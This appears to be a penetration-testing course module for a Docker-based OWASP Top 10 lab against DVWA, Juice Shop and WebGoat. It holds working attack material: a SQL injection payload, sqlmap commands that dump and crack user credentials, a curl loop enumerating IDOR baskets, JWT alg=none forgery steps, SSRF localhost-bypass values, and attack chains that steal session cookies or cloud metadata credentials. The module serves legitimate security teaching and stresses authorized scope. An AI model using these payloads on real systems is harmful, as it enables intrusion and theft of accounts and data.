Skip to main content

OWASP Top 10 — Hands-on lab

You take DVWA, Juice Shop and WebGoat, all three brought up by a single docker compose. You drop three vulnerabilities from three different Top 10 categories. For each one: request, response, proof of impact. Bonus: a chain that links at least two of them together.

Budget: 3 h.

Deliverable: ~/labs/rapport/owasp.md with three complete records + ~/labs/preuves/ with every artifact.

Scope

These attacks run exclusively against DVWA, Juice Shop, WebGoat, or a target under explicit rules of engagement. No traffic goes out. That is non-negotiable.


Prerequisites​

Docker Desktop up and running (see module 01). Nothing else to download: the compose file handles everything.

Burp Suite Community installed on your host (free download at portswigger.net). The host proxy intercepts requests from your browser to the containers, exactly like a real engagement.

Firefox is recommended: more forgiving of a custom CA than Chrome/Edge.


Step 1 — Bring the lab up (3 min)​

cd labs/docker/module-07-owasp
docker compose up -d

Four containers start. Give WebGoat (heavy Spring app) about 60 seconds to be ready.

Health check:

cd ..
./verifier-lab.sh module-07-owasp # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-07-owasp # PowerShell

Open the three targets in your browser (host side, published ports):

A preuves folder on the attacker side:

docker compose exec attaquant bash
mkdir -p ~/labs/{preuves,rapport}
cd ~/labs
Definition — why three targets and not just Juice Shop or DVWA

Each target represents a different era and stack of web development, and each one exposes a family of flaws the other two do not show as well.

DVWA (Damn Vulnerable Web Application) is written in PHP in the style of the 2005-2010 era: mysql_query, plain cookies, no framework. It is the best ground for understanding the fundamental flaws — classic SQL injection, reflected XSS, file inclusion, upload without filtering. You see the source code, you see the patch. The difficulty is tunable (Low/Medium/High/Impossible), which makes learning progressive.

Juice Shop is written in Node.js/Angular, the archetype of a modern web app: REST API, JWT, SPA, Express backend, SQLite database. The flaws are the ones you find in 2026 startups — IDOR on /api/basket, stored XSS via the API, poorly signed JWT, NoSQL injection, broken horizontal access control. It is also playful: the score-board tracks your solved challenges.

WebGoat is written in Java/Spring, the most common stack in large enterprises. It offers guided pedagogical scenarios: each lesson describes the problem, provides the code context, and validates your exploitation. You go deeper into the less visible categories — bad cryptography (A02), broken authentication (A07), unsafe deserialization, access control on JSON APIs.

Together, the three targets cover all ten categories of the OWASP Top 10 2021. That is why we start them all at once: you pick the best app for each exercise, rather than twisting a lab to force it to expose a flaw it does not natively have.


Step 2 — Configure Burp (5 min)​

On your host:

  1. Launch Burp Suite Community, choose Temporary project, Use Burp defaults.
  2. Tab Proxy → Options, confirm Burp listens on 127.0.0.1:8080.
  3. In Firefox: Preferences → Network Settings → Manual proxy configuration:
    • HTTP Proxy: 127.0.0.1, Port: 8080
    • Check Also use this proxy for HTTPS
  4. Open http://burpsuite in Firefox, download and import the CA certificate (via Settings → Certificates → View certificates → Import).

Quick test: in Proxy → Intercept, turn interception on. Reload http://localhost:4280 in Firefox. Burp intercepts, you click Forward, the page appears.

Definition — the role of the proxy and why Burp is unavoidable

An HTTP proxy sits between your browser and the server. Every request Firefox sends passes first through Burp, which shows it to you, lets you edit it, then relays it. Every response takes the reverse trip. You have full access to what is on the wire, including HTTP headers, cookies, request/response bodies.

Without that level of control, a good half of the web flaws are invisible. IDOR on /api/basket/2 requires replaying a request with one digit changed. SQL injection requires observing the exact error message the server returns. Access control requires fiddling with a cookie. None of that is doable from a normal browser — all of that is trivial from Burp.

Burp Suite Community is free and enough for this lab. The Pro version adds an active scanner (Active Scan) and unrestricted Intruder rate, both essential in professional engagements. The reasoning is identical in both versions. Build the habit in Community: you will be comfortable in Pro on day one.


Step 3 — Pick 3 categories (10 min)​

You must cover 3 different categories among these six (the most instructive):

CategoryRecommended targetNotes
A01 — Access control (IDOR or vertical)Juice Shop /api/basket/*Pure IDOR, very visible in Burp.
A03 — SQL injectionDVWA SQL InjectionClassic with sqlmap, progressive difficulty.
A03 — Stored XSSJuice Shop Customer FeedbackProve impact via redirect or keylogger.
A05 — Security misconfigurationDVWA (headers, dir listing)Find /config/config.inc.php.
A07 — Identification/authenticationJuice Shop /rest/user/login JWTJWT alg=none or weak key.
A10 — SSRF / LFIWebGoat Server-Side Request ForgeryGuided scenario, callback via WebWolf.

Note your choice at the top of rapport/owasp.md, with one sentence of justification per category. That justification is what shows you think through your attack, not just stumble on whatever is lying around.


Step 4 — Attack, category 1 (60 min)​

A concrete example: A03 — SQL injection on DVWA.

  1. Open http://localhost:4280, log in, set Security = Low.
  2. Open SQL Injection in the menu.
  3. In the User ID: bar, send 1. Observe the response: name + surname.
  4. Send 1' OR '1'='1. The whole table appears — signature of a SQLi.

In Burp, send the request to Repeater (Ctrl+R), then to Intruder to test several payloads. In parallel, from the Kali attacker:

docker compose exec attaquant bash
sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users

Grab the PHPSESSID cookie from Firefox DevTools. Sqlmap identifies the injection automatically, dumps the dvwa.users table, cracks the MD5 password hashes.

Proof of impact: the content of dvwa.users (5 accounts), the cleartext admin password ("password"), and a screenshot of the sqlmap command ending with [INFO] the back-end DBMS is MySQL.

Save the trace:

sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=$COOKIE_DVWA" \
--batch --dump -D dvwa -T users --output-dir=preuves/sqli

Then fill in the record in rapport/owasp.md:

## Vulnerability — A03: SQL injection in DVWA /vulnerabilities/sqli

### Context
- URL: http://dvwa/vulnerabilities/sqli/?id=1
- Role: authenticated user (any)
- DVWA difficulty: Low

### POC (technical proof)
- Request sent:
```http
GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
Host: dvwa
Cookie: security=low; PHPSESSID=xxxx
```
- Response (excerpt): five rows returned instead of one, proving the `id` parameter is concatenated into a `WHERE` clause without escaping.

### Proof of impact
- Sqlmap payload: full dump of `dvwa.users`.
- Result: 5 accounts recovered, including `admin` in cleartext (`password`), `gordonb` (`abc123`), `1337` (`charley`).
- Artifacts: `preuves/sqli/dump/dvwa/users.csv`, `preuves/sqli/log`.

### Recommendation
- Immediate: switch parameters to prepared statements (`mysqli::prepare`).
- Root cause: static audit of the PHP code, an application WAF, developer training.

Every section is mandatory. Without a proof of impact, the record is worthless.


Step 5 — Category 2 (60 min)​

Same rigor, different category. Example: A01 — IDOR on Juice Shop.

  1. Register at http://localhost:3000/#/register (user1@juice.local / Pentest1!).
  2. Sign in, add an item to your basket.
  3. Open Burp HTTP history, find the request GET /rest/basket/6 (the ID varies with your user).
  4. Replay via Repeater changing /rest/basket/6 → /rest/basket/1. You obtain the admin's basket.

Proof of impact: the JSON contents of basket 1 (likely several pricey items), and above all the fact that no check is performed between user1's JWT and the owner of basket 1.

Automate on the attacker side:

for i in 1 2 3 4 5 6 7 8 9 10; do
curl -s "http://juice-shop:3000/rest/basket/$i" \
-H "Authorization: Bearer $JWT" \
| jq . > preuves/idor/basket-$i.json
done

You retrieve ten baskets from ten different users in three seconds. That is the definition of a chainable IDOR.


Step 6 — Category 3 (60 min)​

Different again. Example: A07 — JWT alg=none on Juice Shop.

  1. Grab your current JWT from Burp (in the Authorization header).
  2. Decode it on https://jwt.io/#debugger-io. Header {"alg":"HS256"}, payload with your email.
  3. Change the header to {"alg":"none"}, replace the payload's email with admin@juice-sh.op, drop the signature (just header.payload.).
  4. Replay via Burp injecting the tampered token.

On vulnerable Juice Shop versions, it works: you are admin. On patched versions, it fails — documenting the failure is also evidence.

Proof of impact: screenshot of the admin panel (/#/administration), or of the explicit refusal with the full trace for your report.

Definition — JWT and the alg=none trap

A JSON Web Token (JWT) is a compact string of three parts separated by dots: a JSON header, a JSON payload, and a signature. The signature guarantees no one has tampered with the content — it is computed by the server with a secret key and verified on every request.

The header holds an alg field that tells which signature algorithm to expect: HS256, RS256, ES384… The original specification also allowed the value none, meant to be used only in contexts where the signature is unnecessary (already secured by a higher channel). In practice, several libraries implemented signature verification by trusting the header's alg field — if the client says alg=none, the library checks nothing.

Result: anyone can forge a token by editing the payload, writing alg=none into the header, and dropping the signature. The server accepts the token as valid and authenticates you under any identity.

The flaw has been known since 2015 and fixed in every modern library, but it still lingers in legacy applications or custom configurations. It is also the best example to illustrate the principle "never trust the client side to tell you what it is". The server must impose the algorithm, ignore the incoming alg header entirely, and use only its internal configuration for verification.


Step 7 — The chain (30 min)​

One chain minimum, combining two vulnerabilities you found, producing an impact greater than the sum of the parts.

Solid chain examples:

  • Stored XSS → admin session cookie theft → admin takeover (Juice Shop Customer Feedback + Juice Shop admin panel)
  • IDOR → enumeration of all emails → password spraying → compromise of 10 accounts (Juice Shop /api/users + /rest/user/login)
  • SQLi → dump of the config file → JWT key → forged admin token (DVWA + Juice Shop, reusing the key if you recover it)
  • LFI → reading /etc/passwd then /proc/self/environ → recovery of an app secret → JWT forgery
  • SSRF → reading AWS credentials via metadata → cloud takeover (WebGoat scenario + module 11 hints)

Document the chain in rapport/chaine.md:

# Attack chain — <short title>

## Step 1 — <flaw A>
Brief description, cite the artifact used.

## Step 2 — <flaw B>
Same.

## Step 3 — <combined exploitation>
How the output of A fed into B.

## Combined impact
One strong sentence, quantified if possible ("compromise of 10 user accounts in 3 minutes").

## Why it is worse than the sum of the parts
One sentence: what each in isolation would not allow.

This is the part most valued in a technical interview: showing that you can chain flaws.


Step 8 — Summary table (15 min)​

Add a summary table to the report:

| Category | Title | Severity | Evidence | Chainable |
| --- | --- | --- | --- | --- |
| A03 | SQLi in DVWA /vulnerabilities/sqli | Critical | preuves/sqli/ | Yes, with A07 |
| A01 | IDOR on /rest/basket (Juice Shop) | High | preuves/idor/ | Yes, with A03 |
| A07 | JWT alg=none (Juice Shop) | Critical | preuves/jwt/ | Yes, with A01 |

Self-assessment checklist​

  • Three different categories covered.
  • Each record: context + POC + proof of impact + recommendation.
  • All requests/responses exported from Burp into preuves/.
  • No record limited to an alert(1) or an id=1'--.
  • One chain documented in chaine.md with at least two flaws.
  • Summary table complete.
  • No mass data extraction (lab RoE respected).
  • All attacks against authorized targets — DVWA, Juice Shop, WebGoat only.

Optional extension — Write a Nuclei template​

Take the simplest vulnerability you found. Write a Nuclei YAML template that detects it:

id: juice-shop-idor-basket
info:
name: Juice Shop - IDOR on /rest/basket
author: <you>
severity: high

http:
- method: GET
path:
- '{{BaseURL}}/rest/basket/1'
headers:
Authorization: "Bearer {{token}}"
matchers:
- type: word
words:
- '"UserId":1'

Test it from the attacker container:

nuclei -u http://juice-shop:3000 -t your-template.yaml

A working Nuclei template is the equivalent of a blog post — it's what you put in a portfolio.


What usually blocks you​

SymptomCauseFix
Burp sees nothingProxy not configured or HTTPS not interceptedCheck 127.0.0.1:8080, import the CA via http://burpsuite.
sqlmap says not injectableWrong insertion pointSpecify -p id, tune --level=3 --risk=2.
XSS payload filteredDifficulty too highDrop DVWA to Low to understand, raise it back after.
JWT alg=none refusedPatched versionDocument as an instructive failure — that is also evidence.
SSRF returns nothingApp filters private IPsTry 127.0.0.1, then localhost, then [::1], then 2130706433 (decimal).
WebGoat loses progressSession expiredSign back in, replay.
DVWA "Database error"Database not initializedsetup.php → Create/Reset Database.
docker compose exec attaquant failsContainer not updocker compose ps, docker compose up -d attaquant.

What you take away from this lab​

  • Three vulnerabilities actually exploited, with evidence.
  • One chain that shows how you think.
  • A report structured like a client pentest.
  • The ability to reproduce these attacks in a technical interview, with Docker Desktop as your only dependency.
  • Exposure to three different web stacks (legacy PHP, modern Node, Java Spring) — the three worlds you will run into throughout your career.

Next: the module quiz. After that we walk into module 8 — Metasploit — where we automate and chain at scale.